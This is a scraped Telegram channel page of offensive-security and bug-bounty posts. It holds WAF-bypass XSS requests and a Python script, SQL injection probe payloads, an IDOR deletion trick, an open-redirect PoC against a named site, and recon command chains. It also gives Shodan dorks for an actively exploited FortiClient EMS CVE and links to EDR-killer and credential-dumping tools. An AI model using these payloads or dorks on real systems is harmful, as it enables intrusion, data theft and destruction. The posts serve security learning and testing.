Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":115},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/949","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/949","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/949","headline":"https://www.afore.vc/gamma/submit","articleBody":"https://www.afore.vc/gamma/submit","datePublished":"2026-03-31T18:15:28Z","dateModified":"2026-03-31T18:15:28Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":104},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/948","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/948","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/948","headline":"Claude code source code has been leaked via a map file in their npm registry!","articleBody":"Claude code source code has been leaked via a map file in their npm registry!","datePublished":"2026-03-31T11:14:07Z","dateModified":"2026-03-31T11:14:07Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":236},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":24},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/946","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/946","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/946","headline":"AI-Powered Autonomous Penetration Testing Agent https://github.com/pikpikcu/airecon","articleBody":"AI-Powered Autonomous Penetration Testing Agent\nhttps://github.com/pikpikcu/airecon","datePublished":"2026-03-31T04:39:02Z","dateModified":"2026-03-31T04:39:02Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":127},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/945","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/945","mainEntityOfPage":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya/posts/945","headline":"https://t.me/Hacking_Vidhya?livestream=66ede283a5821597f0","articleBody":"https://t.me/Hacking_Vidhya?livestream=66ede283a5821597f0","datePublished":"2026-03-30T14:57:44Z","dateModified":"2026-03-30T14:57:44Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/ch/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":124},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}}]}
Bug Bounty Trick: Bypass Invalid ID Validation via Array Injection
Sometimes a small change makes a big difference!
🔍 Original Request:
DELETE /api/bookings?bookings=3777104
❌ Response: 400 Bad Request — "Invalid Bookings"
✅ Modified Request:
DELETE /api/bookings?bookings[]=3777104
💥 Response: 200 OK — Booking successfully deleted!
📌 Why This Works:
Some backends treat bookings= as a scalar (single ID), while bookings[]= is interpreted as an array of IDs.
If the API logic expects an array, this simple tweak can bypass input validation or authorization checks, potentially leading to:
🛑 IDOR (Insecure Direct Object Reference)
🗑 Unauthorized Deletion of Bookings
📬 Mass Resource Tampering (loop over IDs)
🔧 Tip: Always test both forms:
param=value
param[]=value
…and watch how the backend responds differently
#bugbounty #api #idor #infosec #cybersec #websecurity #bypass #cybersecplayground
🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting
When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them — using the Content-Encoding header.
💡 Two Tricks:
1️⃣ Valid Compression (e.g. gzip, deflate)
Compress your payload.
Send it with Content-Encoding: gzip.
Many WAFs won't decompress it and will miss the XSS.
2️⃣ Fake or Random Content-Encoding
Use a random or incorrect value like Content-Encoding: xyz.
Some backends ignore unknown encodings and just process the request body normally.
Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding — leading to a bypass.
📌 Example with gzip compression:
POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
[ gzip-compressed payload with: <script>alert(1)</script> ]
📌 Example with fake encoding:
POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded
comment=<script>alert(1)</script>
🧠 Why it works:
WAFs might block based on the header alone or misinterpret it.
The backend may not enforce the declared encoding and just process the raw body.
🛠️ Python Example:
import requests
payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}
requests.post('https://target.com/submit-comment', data=payload, headers=headers)
⚠️ Notes:
Behavior varies between servers and WAFs.
Best used when stored content is later rendered in a browser (Stored XSS).
Always test on a case-by-case basis.
#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding
How to test for SQL injection 👇
1) Select params for testing in:
🔹 URL query
🔹 POST body
🔹 Headers
🔹 Cookies
It can be any parameter. Typically, I test integer parameters first.
2) Perform math if the tested field is an integer:
🔹 user_id=1338-1
If there is a sign of an SQL injection, you will see a result with user_id=1337.
3) Try to add symbols at the end of the parameter:
🔹 ' (single quote)
🔹 " (double quote)
🔹 ; (semicolon)
Observe the response status. If you spot an error response, there might be a chance of SQL injection.
4) Try to add another symbol and see if the error disappears
🔹 login=admin (status: 200)
🔹 login=admin' (status: 500)
🔹 login=admin'' (status: 200)
In SQL the escape character for a single quote is another single quote, and for a double quote is another double quote
5) Perform SQL query functions
Int
🔹 user_id=1337 AND 1=1 ✅
🔹 user_id=1337 AND 2=1 ❌
Text
🔹 login=admin' AND 'A'='A ✅
🔹 login=admin' AND 'A'='B ❌
JSON int
🔹 {"user_id":"1337 AND 1=1"} ✅
6) Combine SQL query functions with comments
Int ✅
🔹 user_id=1337 AND 1=1 --
Text ✅
🔹 login=admin' AND 'A'='A' --
JSON int ✅
🔹 {"user_id":"1337 AND 1=1 --"}
JSON text ✅
🔹 {"login":"admin' AND 'A'='A' --"}
7) Use Tools to test vulnerable params further
🔹 sqlmap
🔹 r0oth3x49/ghauri (github)
Remember that you only need to obtain the database version for the initial Proof of Concept (POC). Further exploitation should be tested only with permission from the program/company
8) You can use the following DB Fiddle to experiment with SQL injection points and behavior.
Edit SQL queries on the right and then click RUN to see how the SQL queries are executed and what results are displayed at the bottom.
https://www.db-fiddle.com/f/mZ2ftcLLzZLbrEELn38hjQ/0
Open Disclosure
Bug : Open Redirect
Poc : https://spectrocoin.com/%2fattacker.com/about.html
Payload : /%2fattacker.com/about.html
🕵️♂️ 𝙏𝙝𝙚 𝘼𝙧𝙩 𝙤𝙛 𝙁𝙞𝙣𝙙𝙞𝙣𝙜 𝙃𝙞𝙙𝙙𝙚𝙣 𝙒𝙚𝙗 𝘼𝙨𝙨𝙚𝙩𝙨 — 𝙁𝙧𝙤𝙢 𝘿𝙖𝙧𝙠 𝙎𝙪𝙗𝙙𝙤𝙢𝙖𝙞𝙣𝙨 𝙩𝙤 𝙐𝙣𝙙𝙤𝙘𝙪𝙢𝙚𝙣𝙩𝙚𝙙 𝘼𝙋𝙄𝙨
🔴Undocumented APIs
🔴Forgotten JS files
🔴Leaked tokens
🔴Archived parameters
All are doors to high-impact vulnerabilities in bug bounty.
•••••••••••••••••••••••••••••••••••••••••••••••
🔎 Step 1: Recon Hidden Subdomains Like a Pro
# Collect fresh subdomains via ASN & DNS
amass enum -passive -asn ASXXXX -o subdomains.txt
# Passive brute + certificate scraping
assetfinder target.tld >> subdomains.txt
crt.sh/?q=%.target.tld | unfurl domains | tee -a subdomains.txt
# Check alive hosts
cat subdomains.txt | httpx -silent -title -tech-detect -status-code > alive.txt
Tip: Use dnsx for wildcard DNS or misconfigured zones:
dnsx -d target.tld -a -resp-only
•••••••••••••••••••••••••••••••••••••••••••••••
🧪 Step 2: JavaScript Recon for Gold
# Crawl & extract JS
katana -u https://target.tld -js-crawl -o js_files.txt
# Find sensitive URLs & params in JS
cat js_files.txt | xargs -I{} linkfinder -i {} -o cli >> js_endpoints.txt
# Look for secrets or tokens
gf secrets js_files.txt
🧠 Targets:
api_key, bearer, access_token
Forgotten /admin, /internal, /v1/private
Swagger/OpenAPI paths (/swagger.json, /api-docs)
•••••••••••••••••••••••••••••••••••••••••••••••
📜 Step 3: Uncover Forgotten Parameters (Wayback Machine)
waybackurls target.tld > wayback.txt
cat wayback.txt | unfurl keys | sort -u > parameters.txt
# Smuggle and test them
qsreplace 'injected' < parameters.txt | while read param; do
curl -s "https://target.tld?$param" | grep -iE "error|sql|warning"
done
📌 Combine with dalfox or kiterunner to discover more:
dalfox file wayback.txt -o xss.txt
•••••••••••••••••••••••••••••••••••••••••••••••
🔐 Step 4: Real-World Example (Bug Chain)
🔗 Target: beta-api.target.tld (forgotten subdomain)
🔴Found: Via ASN recon + crt.sh
🔴JS Leak: /static/js/main.js → contains Bearer xyz...
🔴Wayback: Archived /v1/admin/deleteUser?uid=...
🚨 Impact: Privileged API access via leaked token + broken access control
🐞Result: Full account deletion vulnerability (P1)
•••••••••••••••••••••••••••••••••••••••••••••••
Task Tool
Subdomain Enum amass
assetfinder
dnsx
JS Recon katana
linkfinder
getJS
Archived Params waybackurls
gau
unfurl
API Testing Postman
swagger-parser
httpx
Token & Secret Hunt gf
trufflehog
shhgit
📌 Join Hacking Vidhya Community
For Tools | CTFs | News | Learning | Collabs
PoisonKiller
Another BYOVD process killer. works on CrowdStrike. fully signed.
Blog: Reverse Engineering a 0day used Against CrowdStrike EDR
*OFFICIAL LAUNCH ANNOUNCEMENT 🚀*
🚩 On this powerful festival of new beginnings
*_make a decision that actually changes your future_* ⚡
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
*🔥 WE ARE OFFICIALLY LAUNCHING*
*AI-Powered Offensive Security Program*
*(CEH v13 + Advanced Red Teaming + APT-Based Training)*
💣 THIS IS NOT A NORMAL COURSE.
This is a 90-Day Intensive Cybersecurity Training System
built to train you like real attackers think and operate.
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🎯 *WHAT YOU WILL LEARN*
✔ *Ethical Hacking (CEH v13 – Core to Advanced)*
✔ *Real-World Attack Techniques & Exploitation*
✔ *Red Teaming Mindset & Execution*
✔ *APT (Advanced Persistent Threat) Simulation*
✔ *Web, Network & System Attacks (Hands-On)*
✔ *Privilege Escalation & Post Exploitation*
✔ *OSINT & Intelligence Gathering*
✔ *Practical Labs + Real Case Scenarios*
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🎓 *WHAT YOU GET AFTER COMPLETION*
✔ *Official GLOBAL RECOGNISED Completion Certificate*
✔ Internship Opportunity (Based on Performance)
✔ _Real Project Exposure_
✔ _Practical Skill Portfolio_
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🚀 *WHY THIS PROGRAM?*
👉 Most people only watch tutorials
👉 Very few build real skills
This program is designed for:
➡️ *Execution, not just learning*
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🏢 *ENTERPRISE-LEVEL TRAINING APPROACH*
This program is designed using **enterprise-grade training standards*
✔ Structured learning like real company environments
✔ Role-based skill development (Red Team / SOC mindset)
✔ Real-world simulation-based training approach
👉 The same mindset used to train teams is applied here
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
👤 *WHO THIS IS FOR*
✔ Serious learners
✔ Future Ethical Hackers
✔ Red Teaming aspirants
✔ Cybersecurity career builders
✔ 10/12th Passout
✔ *AND anyone Who Want to build their career in Cybersecurity in 2026*
❌ Not for casual learners
❌ Not for shortcut seekers
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
📅 *BATCH DETAILS*
🗓 *Batch Starting:* 20 April
⏳ *Duration:* 90 Days
🎓 *Mode:* Live Online Training
👥 *Seats:* Only 40 (Limited Intake)
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🌐 *LANGUAGE OPTIONS*
✔ Hindi Batch Available
✔ English Batch Available
👉 *Learn in your preferred language*
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
💰 *PRICING & PAYMENT OPTIONS*
💰 Full Price: ₹5,000
🔥 Launch Offer (Next 24 Hours Only):
👉 Special price is currently active
⚠️ After 24 hours:
Price will increase — no exceptions
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
💳 **EMI Payment Options*
✔ Full Payment
✔ Split Option Available:
👉 *₹3000 Now*
👉 *₹2000 Later*
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🤔 *HAVE ANY DOUBTS?*
✔ Full curriculum already available on website
✔ Detailed explanation provided
✔ Transparent structure
📞 *You can request a callback at your preferred time*
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🌐 *More Information & Enrollment*
👉 Visit Now:
samcommunity.in/ai-offensive-security
-➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
💣 *IMPORTANT*
This is not a mass training program.
Only serious learners will be onboarded.
Once seats are filled → *REGISTRATION CLOSED*
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🎯 *FINAL MESSAGE*
Today is not just a festival.
It’s a chance to start something serious.
Most people will scroll past this.
A few will take action.
👉 *Decide which one you are.*
> *TEAM SAMCOMMUNITY ACADEMY*
UnderlayCopy_bof
BOF for Havoc that copies locked Windows files (SAM, SYSTEM, NTDS.dit) via raw MFT parsing — no VSS, no Registry APIs, no PowerShell
#bof
Hey everyone , I have created a discussion grp so you can ask your doubts , queries and chit-chat also so make sure to join this grp 😁 :https://t.me/BugBountyTalks
AirSnitch is a new Wi-Fi attack technique discovered by researchers from University of California, Riverside and KU Leuven.
It bypasses Wi-Fi client isolation - a security feature meant to stop devices on the same Wi-Fi from spying on each other
Normally:
Same Wi-Fi users can't see each other's traffic
Router isolates clients
With AirSnitch:
Attacker on same Wi-Fi can spy on you
Intercept traffic
Man-in-the-middle attacks
Steal cookies / session
DNS poisoning
Why it's serious
Works on home routers
Works on enterprise Wi-Fi
Works on guest networks
Works on public Wi-Fi (coffee shops, airports)
AirSnitch does NOT break Wi-Fi password or encryption
Instead it bypasses security around it - which is sometimes worse.☠️
New CVE with practical tool kit just released
Published: Feb 2026
Presented at: NDSS 2026 security conference
GitHub repo released recently
https://github.com/vanhoefm/airsnitch
🚨 Bug Bounty / Red Team Tip
CVE-2026-21643 — Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)
Unauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint
/api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups → full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).
- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)
- Not affected: 7.2.x, 8.0.x, single-site deployments
- Fixed: Upgrade to 7.4.5 or later
- Status: Actively exploited in the wild + public PoCs available
Main Detail Article (Highly Recommended):
Bishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results →
https://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4
Public PoC (GitHub):
https://github.com/0xBlackash/CVE-2026-21643
Useful Google/Shodan Dorks:
- http.title:"FortiClient EMS" "7.4.4"
- http.html:"FortiClient Enterprise Management Server"
- http.favicon.hash: -specific-hash (or search for EMS login page)
- Shodan: "Model: FCTEMS" or "FortiClient EMS"
Quick Check:
If your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled → patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).
High-value target for hunters. Patch or restrict immediately!
#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLiAI-Powered Autonomous Penetration Testing Agent
https://github.com/pikpikcu/airecon
